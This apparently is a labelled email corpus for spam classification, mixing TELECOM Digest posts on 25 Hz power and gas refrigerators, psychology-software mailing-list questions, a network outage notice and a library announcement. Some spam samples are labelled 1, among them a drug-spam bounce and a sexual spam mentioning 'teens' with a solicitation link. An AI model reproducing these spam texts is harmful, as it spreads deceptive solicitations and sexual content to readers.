then) still had a 25 Hz grid. Keokuk in particular had a number of electrochemical industries that were on this grid. By the time Griffin Wheel (an electric arc furnace operation) came to town, no new customers were being connected at 25 Hz, and Griffin used 60 Hz power. I don't know what proportion of Keokuk dam 25 Hz production was converted to 60 Hz. ------------------------------ From: Justa Lurker Subject: Re: Keokuk Dam & 25Hz Power Organization: AT&T Worldnet Date: Sun, 12 Mar 2006 14:45:53 GMT John McHarry wrote: > When I was young I was told that the dam at Keokuk, IA generated 25Hz > power. Since construction was completed in 1913, this may well have > been true. I was also told that the power was by then converted to > 60Hz and fed into the grid. > Whether I was told so, or figured out later, this must have been done > with rotating machinery. I would guess, unless there is a cute hack I > am unaware of, this would give a nasty waveform, but would probably be > smoothed out by the rest of the grid. Not necessarily ... the resulting waveform would be quite fine ... imagine a 25 Hz motor on one side turning a shaft connected to a 60 Hz alternator. One RPM from the motor is one RPM for the generator, and so forth. To the alternator, it doesn't care if it's a 25 Hz motor or steam turbine or gerbils on a wheel driving its shaft (as long as the speed is correct and kept reaasonably stable under various loads, of course). And it's fairly easy to pick an RPM which is a nice common multiple of 25 and 60 so the math works out OK. Meanwhile, the alternator output frequency relates to the angular spacing of the windings and shaft speed. The alternator would produce nice clean 60 Hz relatively free of higher order harmonics and other non-linear trash. ------------------------------ Date: Sun, 12 Mar 2006 05:51:04 -0500 From: DLR Subject: Re: Internet and Civil Liberties? hancock4@bbs.cpcn.com wrote: > There's been a lot of press lately about dangerous people using the > Internet to prey on others. > However, technical weaknesses make it easy to forge someone else's > identity. What protection is there if an innocent person is accused > of being an identity thief, pervert, defrauder, etc.? > Suppose some molester uses your identity in a chat to arrange an > illicit meeting with a victim. Will cops come after you? How would > you defend yourself? If you're not technically astute, you'd better hire a good lawyer quick. But at the same time it is getting to be like the situation with money with cocaine residue on it. For a while in the 80s it was considered strong evidence of trafficking if you had 20s with cocaine traces on it. Then someone showed that most of the money in possession of police, judges, court officials, people on the street, and most all money in major cities and soon the entire country had traces on it. Most all Internet fraud and other illegal activity is now based on bogus identities. Any police force of any size who deals with this knows it and deals with it appropriately. And most local police (at least here in NC) call in the state guys for this type of stuff as they have the knowledge to deal with it. Sheriff Bubba doesn't go after much related to computers. Not to say people will not get falsely accused, but it should be a minor part of the problem as time goes on. I run some mail servers and looking at the appearance of ""falseness"" of the incoming mail is the best indicator of things to toss. ------------------------------ Date: Sun, 12 Mar 2006 05:19:07 -0500 From: DLR Subject: Re: Gas Refrigerator (was 25 Hz Power) Dave Grebe wrote: >> [TELECOM Digest Editor's Note: A water cooler with a DC motor is >> interesting; but did you ever see a _refrigerator_ powered by -gas- >> rather than -electricity-? I had one of those in a long since for- >> gotten apartment in Chicago back in the 1960's. No motor of course, no >> compressor, etc, but it was a refrigerator, freezer, etc, and I think >> (cannot remember for sure) it was manufactured by 'Frigidaire >> Company'. Totally silent of course. I have no idea how it worked; if >> I ever knew, I have since forgotten. PAT] > I encountered a gas refrigerator on a trip out West back in 1966 or > so. The place we stayed had only recently got AC power so the gas > refrigerator made sense. It seemed to be cold and freeze water just > like any other refrigerator. Being 9 or 10 years old at the time I > was fascinated that a device could be built that could make cold using > only a flame. My dad had seen such things before and was not surprised, > he told me there were even kerosene refrigerators at one time. > Anyway Google ""absorption cycle"" if you want to know the history and > how it works. Here's one example: > http://www.robur.it/us/pag_technology_history.jsp > Sorry, can't think of any way to tie this back to telecom. Never > heard of a gas phone. ""This Old House"" showed a gas power ""AC"" unit from the late 1700s early 1800s a while back in Savannah (I think). It was basically a cupola with a ring of flame from gas that when running would create an updraft and pull air throughout the entire house. Quite a bit of air as I recall. One of those ""outside the box"" designs where you use fire in the summer to cool a building. :) ------------------------------ From: GlowingBlueMist Subject: Re: Gas Refrigerator (was 25 Hz Power) Date: Sun, 12 Mar 2006 15:39:53 -0600 Organization: Octanews Dave Grebe wrote in message news:telecom25.99.6@telecom-digest.org: >> [TELECOM Digest Editor's Note: A water cooler with a DC motor is >> interesting; but did you ever see a _refrigerator_ powered by -gas- >> rather than -electricity-? I had one of those in a long since for- >> gotten apartment in Chicago back in the 1960's. No motor of course, no >> compressor, etc, but it was a refrigerator, freezer, etc, and I think >> (cannot remember for sure) it was manufactured by 'Frigidaire >> Company'. Totally silent of course. I have no idea how it worked; if >> I ever knew, I have since forgotten. PAT] > I encountered a gas refrigerator on a trip out West back in 1966 or > so. The place we stayed had only recently got AC power so the gas > refrigerator made sense. It seemed to be cold and freeze water just > like any other refrigerator. Being 9 or 10 years old at the time I > was fascinated that a device could be built that could make cold using > only a flame. My dad had seen such things before and was not surprised, > he told me there were even kerosene refrigerators at one time. > Anyway Google ""absorption cycle"" if you want to know the history and > how it works. Here's one example: > http://www.robur.it/us/pag_technology_history.jsp > Sorry, can't think of any way to tie this back to telecom. Never > heard of a gas phone. > Dave Grebe > [TELECOM Digest Editor's Note: But I have heard that when a gas leak > is suspected, one should _never_ use a telephone in the vicinity as > there is a remote chance of a spark hitting the gas and causing an > explosion. PAT] You can still purchase brand new gas or kerosene powered refrigerators. Here is a link to one company that showed up in a quick search. http://www.thenaturalhome.com/gasappliances.htm I have no connections with the company nor have I purchased anything from them. You can still find units for recreational purposes as well as for fixed installations like fishing cabins or homes in remote locations. My fathers camper had a refrigerator that worked on 120v, 12v, or gas. I seem to remember it would switch and use 120, 12v, or gas in that order once he turned it on. The automatic switch-over feature was nice for times when we were at a remote site and someone left a light on when we went fishing. We would come back and find the battery dead but the refrigerator still keeping things cold using the gas mode. ------------------------------ From: bonomi@host122.r-bonomi.com (Robert Bonomi) Subject: Re: 25 Hz Power Date: Sun, 12 Mar 2006 23:56:51 -0000 Organization: Widgets, Inc. In article , > [TELECOM Digest Editor's Note: A water cooler with a DC motor is > interesting; but did you ever see a _refrigerator_ powered by -gas- > rather than -electricity-? I had one of those in a long since for- > gotten apartment in Chicago back in the 1960's. No motor of course, no > compressor, etc, but it was a refrigerator, freezer, etc, and I think > (cannot remember for sure) it was manufactured by 'Frigidaire > Company'. Totally silent of course. I have no idea how it worked; if > I ever knew, I have since forgotten. PAT] Gas-powered refrigerators were not terribly uncommon 'way back when'. Quite uncommon by the 60s, however. ------------------------------ Date: Sun, 12 Mar 2006 05:41:41 -0500 From: DLR Subject: Re: 25 Hz Power >> Boston Edison used to provide 600 volt DC service for the operation of >> elevators and cranes. I don't know if they still do. > Chicken-and-egg question: 600V is one of the breakpoints in the > standards process (specifically in NFPA 70, the National Electric > Code, in which article 710 is dedicated to special requirements for > circuits at ""over 600 volts, nominal"", and in which several other > articles have their own special cases for >600V. It also appears to > be the highest voltage for which a standard plug-and-recptacle pair > (e.g., L9-30) is defined in the NEC. > Was the decision to use 600V for hoist installations driven by the > standards, or were the standards written to have the requirement for > speical protection begin one volt above the highest nominal voltage > for hoists? > Joe Morris As someone who's worked on standards bodies (insurance industry computer file exchange issues) it's likely both. The dominant players (I was one) want to protect their investment, the minor players want the field re-leveled (break the the installed base) to allow them entry, and the body as a whole has some mission statement about being fair, technically advanced, a boon to world peace, a chicken in every pot, etc ... :) 600V seems high to me from a safety point of view. But I bet it was chosen to allow existing things to stay in place and was at the limit of technology for making flexible conductors with jacketing that did wear out quickly. ------------------------------ From: obsidian Subject: Re: 25 Hz Power Date: Sun, 12 Mar 2006 16:25:53 +0100 Organization: -= Belgacom Usenet Service =- Your observation about single phase is correct for UK. However in other parts of Europe 3 phase is routinely supplied to quite small dwellings. I live in a small 2 bedroom apartment in Belgium of about 80m� which is supplied with 3 phase with 230 volts between phases and no neutral. More modern homes are supplied with 3 phase and neutral with 400 volts from phase to phase. This arrangement makes a standardised pre-wired power distribution box impossible (except in UK). As a side note the UK nominal 240 volts is becoming 230 volts and the rest of Europe 220 volts is becoming 230 volts for European harmonisation. obsidian William Warren wrote in message news:telecom25.98.11@telecom-digest.org: > hancock4@bbs.cpcn.com wrote: > [snip] > > Despite the different frequency, both US/Canadian and European homes > have single-phase power; nobody bothers with three phase for homes, > because there isn't enough demand in homes to justify the added > expense of installing three-phase power. > The difference is that European homes receive a 220-volt, single-phase > feed at their electric outlets, which is, of course, twice the ""110"" > volt standard used on this side of the Atlantic. The higher voltage > means lower current for the same wattage, thus allowing smaller wire > sizes and concomitant savings in home construction costs. > > William Warren > (Filter noise from my address for direct replies) ------------------------------ From: CharlesH Subject: Re: 25 Hz Power Organization: SBC http://yahoo.sbc.com Date: Sun, 12 Mar 2006 22:06:35 GMT John McHarry wrote: >> [TELECOM Digest Editor's Note: A water cooler with a DC motor is >> interesting; but did you ever see a _refrigerator_ powered by -gas- >> rather than -electricity-? I had one of those in a long since for- >> gotten apartment in Chicago back in the 1960's. No motor of course, no >> compressor, etc, but it was a refrigerator, freezer, etc, and I think >> (cannot remember for sure) it was manufactured by 'Frigidaire >> Company'. Totally silent of course. I have no idea how it worked; if >> I ever knew, I have since forgotten. PAT] > My mother had one of those, probably in the early 50s. When it was > replaced by a more modern unit, it was moved to the back porch and used in > the summer to cool melons and stuff. I guess this was high tech for the > back porch -- the neighbors had an ice box on theirs for similar uses. > I think those were ammonia-water absorption cycle refrigerators. I > seem to recall its making little gurgling noises from time to time. The refrigerators in RVs are pretty much all of the absorption type. This allows them to work on propane, away from commercial electric power. When commercial power is available, it is used only as a heat source instead of the propane. No compressors or other moving parts. The 12VDC system in the RV is used to ignite the propane (so it doesn't need a pilot), but otherwise, it does not require any electricity. ------------------------------ From: Herb Stein Subject: Re: 25 Hz Power Organization: SBC http://yahoo.sbc.com Date: Sun, 12 Mar 2006 05:14:18 GMT Herb Stein wrote in message news:telecom25.98.12@telecom-digest.org: > (Thomas D. Horne) ""Electrician"" wrote in message > news:telecom25.97.12@telecom-digest.org: >> Boston Edison used to provide 600 volt DC service for the operation of >> elevators and cranes. I don't know if they still do. > I know Milwaukee, WI had DC available at some point in the distant past. I > used to have a water cooler with a DC motor from downtown somewhere. > Upper Michigan had 25Hz (cycles/second at the time) at a number of > copper mining operations, if memory serves. >> Tom Horne >> ""This alternating current stuff is just a fad. It is much too dangerous >> for general use."" Thomas Alva Edison > Herb Stein > herb@herbstein.com > [TELECOM Digest Editor's Note: A water cooler with a DC motor is > interesting; but did you ever see a _refrigerator_ powered by -gas- > rather than -electricity-? I had one of those in a long since for- > gotten apartment in Chicago back in the 1960's. No motor of course, no > compressor, etc, but it was a refrigerator, freezer, etc, and I think > (cannot remember for sure) it was manufactured by 'Frigidaire > Company'. Totally silent of course. I have no idea how it worked; if > I ever knew, I have since forgotten. PAT] I'll have to make a phone call, but I think a friend of mines girl friend has a gas air conditioner at her house in Farmington MO. I'll have to get back to you on that one. Herb Stein herb@herbstein.com [TELECOM Digest Editor's Note: I have also seen 'air conditioners' which have a position on the switch to put out heat (as well as the usual two or three cool air positions.) PAT] ------------------------------ From: Ernie Klein Subject: Re: 25 Hz Power Organization: Not very organized Date: Mon, 13 Mar 2006 01:20:45 GMT > [TELECOM Digest Editor's Note: but did you ever see a _refrigerator_ > powered by -gas- rather than -electricity-? Very common. Almost every RV (Recreational Vehicle) has one. Actually most are powered 3-way. 1) They run from standard 120VAC when parked and that power source is available. 2) Most also run from 12VDC while the RV is underway. 3) They burn Propane (gas) when parked and 120VAC is not available. Not all have the 12VDC option but it is safer to turn the propane tank off while driving and use the battery instead. -Ernie- ""There are only two kinds of computer users -- those who have suffered a catastrophic hard drive failure, and those who will."" Have you done your backup today? ------------------------------ From: Dale Farmer Organization: I'm working on that.... Subject: Re: 25 Hz Power In-Reply-To: Date: Mon, 13 Mar 2006 01:30:16 GMT Herb Stein wrote: > (Thomas D. Horne) ""Electrician"" wrote in message > news:telecom25.97.12@telecom-digest.org: >> Boston Edison used to provide 600 volt DC service for the operation of >> elevators and cranes. I don't know if they still do. > I know Milwaukee, WI had DC available at some point in the distant past. I > used to have a water cooler with a DC motor from downtown somewhere. > Upper Michigan had 25Hz (cycles/second at the time) at a number of > copper mining operations, if memory serves. >> Tom Horne >> ""This alternating current stuff is just a fad. It is much too dangerous >> for general use."" Thomas Alva Edison > Herb Stein > herb@herbstein.com > [TELECOM Digest Editor's Note: A water cooler with a DC motor is > interesting; but did you ever see a _refrigerator_ powered by -gas- > rather than -electricity-? I had one of those in a long since for- > gotten apartment in Chicago back in the 1960's. No motor of course, no > compressor, etc, but it was a refrigerator, freezer, etc, and I think > (cannot remember for sure) it was manufactured by 'Frigidaire > Company'. Totally silent of course. I have no idea how it worked; if > I ever knew, I have since forgotten. PAT] Usually ammonia absorption cycle. Commonly found in motor homes and places that don't have electricity, such as remote vacation/hunting cabins, or small islands. Google for RV refrigerators to find lots of sites that explain them better than I can. Only moving parts are the gas valve and thermostat. Although this brings to mind a telecom subject. How can you get telephone service out to places small islands that have residents who want phone service? These sorts of places are usually not that large, having anywhere from one to a few hundred residents, so not lots of income potential there. Nowadays they probably just have cell phones, if they have coverage. --Dale ------------------------------ >From Wesrock@aol.com Sun Mar 12 20:33:11 2006 Return-Path: Delivered-To: ptownson@massis.lcs.mit.edu Received: from imo-m24.mx.aol.com (imo-m24.mx.aol.com [64.12.137.5]) by massis.lcs.mit.edu (Postfix) with ESMTP id 7536D150CB for ; Sun, 12 Mar 2006 20:33:11 -0500 (EST) Received: from Wesrock@aol.com by imo-m24.mx.aol.com (mail_out_v38_r7.3.) id 7.53.3762a2d0 (4552) for ; Sun, 12 Mar 2006 20:33:07 -0500 (EST) From: Wesrock@aol.com Message-ID: <53.3762a2d0.314625d3@aol.com> Date: Sun, 12 Mar 2006 20:33:07 EST Subject: Re: 25 Hz power To: ptownson@massis.lcs.mit.edu MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""part1_53.3762a2d0.314625d3_boundary"" X-Mailer: 7.0 for Windows sub 10708 X-Spam-Checker-Version: SpamAssassin 3.0.4 (2005-06-05) on massis.lcs.mit.edu X-Spam-Level: X-Spam-Status: No, score=-0.6 required=2.0 tests=AWL,BAYES_00,HTML_30_40, HTML_MESSAGE,MIME_QP_LONG_LINE,NO_REAL_NAME autolearn=no version=3.0.4 Status: RO --part1_53.3762a2d0.314625d3_boundary Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit In a message dated Fri, 10 Mar 2006 11:07:14 -0800, Al Gillis < alg@aracnet.com> writes: > Hi Wes ... > > Sorry for the off-topic question but could you detail some of the > advantages you mentioned? > > I know the Great Northern Railroad used electric locomotives through > mountain passes in Washington State because electrical locos could out > pull steam locomotives on the steep grades encountered there. > > Thanks! > > Al Al, These are summaries given to me by two members of another (non-communication related) list where this was a thread a few months ago. Interestingly, the first summary is from Bob Gillis. Any relation? Wes Leatherock wleathus@yahoo.com ------------------------------------------ The lower the frequency the better an AC commutator motor runs. A 0 frequency or DC motor runs best. When the electric industry was starting here in the USA and Canada, two standard frequencies were set. 60 Hz for lighting and 25 Hz for industrial. (in Europe the standards were 50 Hz and 16-2/3 Hz.) Back in the 1950s visited the NY Central Buffalo Station and you could see the incandescent lights flicker. Most of the electric power generated at Niagara Falls was 25 Hz. The first railroad AC electrfications had commutator motors and so they were electrified on the industrial frequency of 25 Hz: New Haven, PRR etc. Today AC commutator motors are not often used. So the common 60 Hz lighting frequency can be used. The electrification's still using 25 Hz are holdovers. Amtrak between New York and Washington is 25 Hz because it ws too expensive to convert the line to 60 HZ and there was 25 Hz generating capacity available. The New Haven line has been changed to 60 Hz. - - - 25 Hz was a standard for MOTOR loads, because, as noted, these worked best on the lowest acceptable frequency. Lower frequencies have less 'inductive transmission loss' than higher frequencies. The differences are not huge, but, ca. 1910 were enough to make a difference. Transformer and motor efficiencies (core losses) were better at lower frequenciess, though the devices were larger. The first point has been superseded by progress in design, and changes in technology: e.g. use of rectifiers and inverters to build the drives. The second point has been superseded by the cost benefits of using the standard grid. (Its a bit more complex than that, but leave it there for now....) The last point has been superseded by the first, and by progress in design and application of transformer steels. --part1_53.3762a2d0.314625d3_boundary Content-Type: text/html; charset=""US-ASCII"" Content-Transfer-Encoding: quoted-printable In a me= ssage dated Fri, 10 Mar 2006 11:07:14 -0800, Al Gillis [TELECOM Digest Editor's Note: I know of a janitor in an apartment > building who always used 25 watt _240 volt_ light bulbs in the > exit signs in his building (even though the fixures were the more > standard and customary 120 volts.) He said those 240 volt bulbs > (which were in difficult to reach places) _never_ had to be changed; > they would on burning for several years. He did not like the idea of > getting out a step ladder to climb up and change a bulb in an exit > sign if he could avoid it. PAT] They used to sell little button devices to put in a lamp socket that did pretty much the same thing with an ordinary 120v bulb. I think it was a diode to block ever other half cycle. [TELECOM Digest Editor's Note: And did you ever notice how the output from the bulb is always sort of a soft, golden color? I wonder what would happen if you used a 240 volt bulb in a socket with one of those button devices you mentioned as well? Probably some very feeble light would result. PAT] ------------------------------ From: Lou Jahn Subject: Re: The 411 on Directory Assistance Date: Sun, 12 Mar 2006 00:47:34 -0500 Organization: Info Partners Corp. Steven Lichter wrote: > I don't know how much of a profit it is since the DA from Cell phones > are handled by another company and the Telco contract with them. On Average, the true 411 service base cost for land lines is between $0.21 to around $0.31 per call to listen to the request, find the listing and to release a number to a caller. Before heavy voice automation such service took an average of 23 seconds of operator work time to complete a transaction. With good standard automation, operator average work times can be as low as 13 seconds -- meaning a good DA operator is handling four calls per minute! Heavy voice automation such as Tell-me or Verizon's Darby handle about 30-35% of all calls without ever using an operator, further reducing the average cost. So it would be save to approximate the average cost to process one (1) DA call to between $0.18 to $0.26 per DA call. The actual DA listing costs about $0.04 to $0.05 of the total cost, the rest of the cost is either operator time or voice platform infrastructure costs. You might add another penny to the cost to cover the billing. Nice margins -- most LECs charge $1.25 for 411 numbers out of their region. AT&T and MCI charge $2.99 per DA call if you use the old NPA-555-1212 dialing approach At one time Wireless DA cost a little more as Wireless service was not as focused on the operator work time as they got air minutes to cover the longer time to handle a DA call. Today, most DA call centers handle both landline and/or wireless DA call services. The base cost remains the same, the only difference might be how many firms are involved in the actual DA service delivery - causing multiple markups on the service delivery. Today DA service is commodity priced. BTW in Italy one Wireless service provides a video feed DA approach so the caller actually looks at the DA operator as the service is delivered. Another wireless trend (now being done in Italy) is (will be) using the GPS coordinates off of the wireless phone to augment DA service. Hence calling for a pizza store will no longer require telling what city you want to use for a pizza look-up. Rather, the GPS coordinates are used to give you pizza store options nearby where you are located. Lou Jahn Info Partners Corp 609-823-6602 www.InfoPartnersCorp.com [TELECOM Digest Editor's Note: That is why, IMO, a service such as 877-EASY-411 -- which sponsors this Digest -- is such a good deal at 65 cents per one or two inquiries, or one reverse lookup, etc. Once you are enrolled, your ANI is given to the bureau at the time you make your call; you need no pins, or other arrangements except for the credit/debit card you want to have billed every month or so. Get all the details from http://easy411.com/telecomdigest . PAT] ------------------------------ Date: Sun, 12 Mar 2006 05:32:08 -0500 From: DLR Subject: Re: 3 Phase Power John McHarry wrote: > Apropos the earlier discussion in the 25Hz thread, I think both the US > and Europe distribute three phase wye connected power. If you look at a > distribution pole, at least before the phases are split out, you will > see three well insulated wires, and a fourth wire that is earthed at > each pole. > I believe both systems provide single phase house current by attaching > a transformer from one phase to neutral/earth. If you go down a street > with three phase distribution you will see the transformers (pole pigs) > attached to each phase in sequence. When you get near the end of a > run, it may drop down to two, or even a single phase. If you are going > down a street with streetlights, there will likely be a line below the > main distribution lines carrying lower voltage for them. I studied power a bit 30 years ago in but now my knowledge is a bit more limited so excuse any technical mistakes. Here in Raleigh, NC and I'm assume other CP&L/Progress Energy locations, they have been on a campaign for a while to loop all the 3 phase feeds from the substations so there are few if any ""ends of runs"". I don't know if this started due to Hugo & Fran, just happened at the same time, or was accelerated due to them. But it sure makes it faster to bring folks back ""on the grid"". Plus as a rule they don't tap transformers for houses directly off the 3 phase wires. They have runs of a one to a few blocks attached to a feeder drop below the 3 phase lines which helps keep the main lines running even when local problems arise. These feeders are connected with fuses to one of the 3 phase legs. I learned most of this talking to a repair supervisor as it turns out my pole is one of the first visited after a major storm. It has the first disconnect switch for the 3 phase loop out of the substation. And I'm on the substation side. Plus my transformer is still connected directly to a 3 phase leg which means that I'm one of about 5 houses in my area to get power before anyone else within about 1/2 mile or so. I was told unless they had to change out the transformer they'd leave it connected that way. > When you come to a customer requiring three phase power, there will be three > pole pigs, one off each leg. I think in Europe these are also wye > connected, but some in the US are delta connected. Some places the power > company, at least in the past, got cheap and used two pole pigs to deliver > an ""open delta"" where the third phase is imputed. On a warm spring day > with the sun shining and the birds singing, this works fine. When the > loads get out of balance, all sorts of evil ensues. > There is, however, a reason for both wye and delta connections. Non > linear loads, and ever more are with the prevalence of switching power > supplies, generating harmonics. Multiples of the third harmonic, > called triplen (from triple n) currents add in phase on the neutral. A > wye-delta transformation traps them and keeps them out of the upstream > system, where large currents on the neutral can wreak havoc. ------------------------------ From: stanna@optonline.net Subject: Employment Opporunity: Testing, Development Positions East Coast Date: 12 Mar 2006 09:57:26 -0800 Organization: http://groups.google.com Hello, This is Sai from TANNA Corporation, Technical consulting firm in East coast of USA. I am looking for System Test Engineers and Software Development Engineers to work in VoIP and Embedded systems, If anybody is interested, please send me your resume to stanna at optonline dot com. Thanks for your time, Sai. [TELECOM Digest Editor's Note: You are quite welcome. I hope you find some good employees, although you should really put these messages in our http://telecom-digest.org/classified.html classified ad section. As for me, this Sunday evening, for about an hour now the weather people and the Independence Police have been chattering about 'tornado clouds forming overhead' and urging people to be prepared to move to shelter, so I guess I will go somewhere which is safe. A very nice thing about living here is because we are in a valley area, tornados are very, very rare. And because police and public servants seem to be much more interested in providing service rather than doing politics, etc, there is _no way_ anyone could have missed their several announcements; television/radio weather stations; the police scanner (for Independence, rural s.e. Kansas), indeed, even the cable system itself, with police having taken it over a few times in the past 45 minutes or so telling people to watch out for major chunks of hail, along with extremely strong winds. So, assuming my house does not get blown away, I will be back here with you again tomorrow, Monday. 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Have you ever noticed that advocacy is a concept fraught with potential conflict? Advocacy routinely involves pushing for change, not merely hinting or suggesting. Pushing is a strategy which is most usefully employed by those with a strength or elevation advantage. Sisyphus is a classic(al) example of lacking the strategic elevation advantage. Campus politics is an intensely local game and is, in all respects, intense. Libraries and librarians are rarely power players in this realm. Advocacy, as such, ""you should do thus and so..."" will need to have resonance, momentum, the height advantage, to have any real impact. A documentary blog, asserting observed items of fact, may help to create momentum. Open Access Authoring @ Caltech documents Open Access activity by Caltech researchers (faculty, research staff, grad students) from 2004 to date. There are slightly over 100 entries so far, documenting Open Access to technical report series, books, chapters, and articles. Authoring is only part of the Open Access movement and process, though. Journals have to be started, edited, and refereed. These individual decisions, and as noted there are many, have not been well known within the library or across the campus. This blog is an attempt to change that situation. As more and more researchers observe the depth and breadth of support for Open Access already demonstrated on campus, perhaps it will become a larger part of the decision making process of where they choose to publish. With time, momentum could/will build to the point where a discussion of OA support would not be advocacy, but rather finding common ground and common wording to proceed further. George S. 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I just have one question I haven't been able to answer either through the help or the mailing-list archives. I would like to set a fixed dimension, particularly a fixed width, to some of my concept boxes. I guess I am trying to reproduce the behavior of the ""wrap automatically"" option from PowerPoint. If anybody could indicate me a work-around or a pointer to help achieve that goal, it would be very helpful. I need this kind of behavior because I am trying to use Cmap to build a structure before entering text items inside the structure, and it would be easier to do it this way. Thanks a in advance for your time and consideration. Regards, Julien ",0,0 security@MIT.EDU,","Mon, 13 Mar 2006 06:17:11 -0500",Case 991799: Best love dr@gs at best store! ,"Thank you for your message! This is an automated confirmation that we have received your request and assigned it case number 991799 in our tracking system. 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Date: Mon, 13 Mar 2006 06:11:51 +0100 MIME-Version: 1.0 Content-Type: multipart/related; type=""multipart/alternative""; boundary=""------------ms050304090503040307070009"" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2180 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Spam-Score: 54.869 X-Spam-Level: ************************************************** (54.869) X-Spam-Flag: YES X-Scanned-By: MIMEDefang 2.42 ** Attachment decoded: part2 (text/html) 450 bytes ** ** Attachment decoded: pill.gif (image/gif) 20208 bytes ** --k2DBHCdT012260.1142248632/sheep.mit.edu-- home help back first fref pref prev next nref lref last post",1,1 LV Series ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Mar 2006 14:07:33 +0000",[DMDX] Refresh rate of 33ms,"Hi there, We recently upgraded our lab computer's OS to XP. Prior to this DMDX ran fine. On re-installing DMDX (newest version) we get an error message when trying to run files saying ""Could not find registry key..."" After running advanced video-mode tests in Time DX and saving the values, we are still presented with the same message. I've also noticed the refresh rate found by TimeDX is over 33ms (screen resolution is 1024x768). You mention in a previous thread this could be a problem with XP drivers, have you any recommendation how we can solve this problem? Thanks, Lucy ---------------------- LV Series lucy.series@bristol.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 13 Mar 2006 08:16:30 -0700",[DMDX] Re: Refresh rate of 33ms,"At 02:07 PM 3/13/2006 +0000, you wrote: >Hi there, > >We recently upgraded our lab computer's OS to XP. Prior to this DMDX ran >fine. > >On re-installing DMDX (newest version) we get an error message when trying >to run files saying ""Could not find registry key..."" It will mention which registry key is missing where your ellipses is and from that you can figure out what test needs to be run again. > After running advanced video-mode tests in Time DX and saving the > values, we are still presented with the same message. I've also noticed > the refresh rate found by TimeDX is over 33ms (screen resolution is > 1024x768). You mention in a previous thread this could be a problem with > XP drivers, have you any recommendation how we can solve this problem? Find and install some new video drivers. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The moving cursor writes, and having written, blinks on. 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Affected: cr01-hill012-hill, pr01-hill012-svcs Type: Scheduled ---- ID: 1157 Description: OS Upgrade - ASB CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0700 End Date: 03/14/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-asb-asb. Disruptions in network connectivity to the ASB A-tree areas are expected Affected: cr01-asb-asb Type: Scheduled ---- ID: 1295 Description: OS Upgrade - LIBRARY OF SCIENCE AND MEDICINE CORE AREA Disruption: Outage Campus: Core Systems & Services Start Date: 03/14/2006 0700 End Date: 03/14/2006 0800 Summary: Network Operations will upgrade the CORE router cr01-lsm-lsm. Disruptions in network connectivity to the LSM A-tree areas are expected. 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""����������""�� ����",1,1 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Mon, 13 Mar 2006 20:20:57 +0000",[DMDX] input device name for sidewinder gamepad,"A few years back someone reported the problem below, of DMDX not recognising the sidewinder game pad, but there wasn't further communication (that I could find) to see if the problem was resolved, and I now have the same problem. Is it fixable or should I just use a different gamepad? I am guessing it is because Jonathan reports the results of changing the refresh rate for USB devices with this particular gamepad. Many thanks, Shane Lindsay University of Sussex > ---------------------- > > Hi, > > Regarding the gamepad, I think I know what the problem is now but > don't know if there is a way around it. > > In TimeDX, the device name is ""Microsoft SideWinder Game Pad USB"". > There is a superscript Register symbol after the first two words in the > name. I added the R symbol in the item file, but DMDX does not recognize > it. > As a result, there is a mismatch between what is showing in TimeDX and > what > is recognized by DMDX. So I am still getting the selection failed message. > I > think this may be the cause of the problem. > > Is there a way to resolve it? Help appreciated. > > Nan Jiang > ",0,0 ARL Communications ,,,"On the ARL Server (March 13, 2006)","On the ARL Server Week of March 13, 2006 ARL Membership Meeting, May 16–19 in Ottawa Authors and Authority: Perspectives on Negotiating Copyright and Licenses  Select presentations from the SPARC-ACRL Forum now available online ARL Publishes Preservation Statistics 2003–04 Job Posting: Technical Applications Development Manager for LibQUAL+™ and Statistics and Assessment Activities [PDF] Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Library Assessment Conference Call for Papers—Due April 15 Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Delmer ,egs+summary@cs.cornell.edu,"Mon, 13 Mar 2006 11:34:15 -0400",Group pretty teens hardcoore!," grace Just Slut and bewitching Bitch from Your dream! http://diegamesite.info/fpmf.htm?iSPhfd.fX,hj U-N-$-U-B-S-C-R-l-BB-E http://diegamesite.info ",1,1 ,,,RE: [Cmaptools] How to set concept boxes a fixed dimension?,"Hi I don't know if this answers your question, but have you tried copying and pasting a concept box that is of the correct width. You can paste endless copies of the same box. Regards Chiedu -----Original Message----- From: CmapTools Discussion List [mailto:Cmaptools@ihmc.us] Sent: 13 March 2006 19:10 To: CmapTools Discussion List Subject: [Cmaptools] How to set concept boxes a fixed dimension? To unsubscribe, E-mail to: ----------------------------------- Hi everyone, I am just beginning to use this software, but the possibilities seems to be endless, so it's very exciting. I just have one question I haven't been able to answer either through the help or the mailing-list archives. I would like to set a fixed dimension, particularly a fixed width, to some of my concept boxes. I guess I am trying to reproduce the behavior of the ""wrap automatically"" option from PowerPoint. If anybody could indicate me a work-around or a pointer to help achieve that goal, it would be very helpful. I need this kind of behavior because I am trying to use Cmap to build a structure before entering text items inside the structure, and it would be easier to do it this way. Thanks a in advance for your time and consideration. Regards, Julien ############################################################# This message is sent to you because you are subscribed to the mailing list . 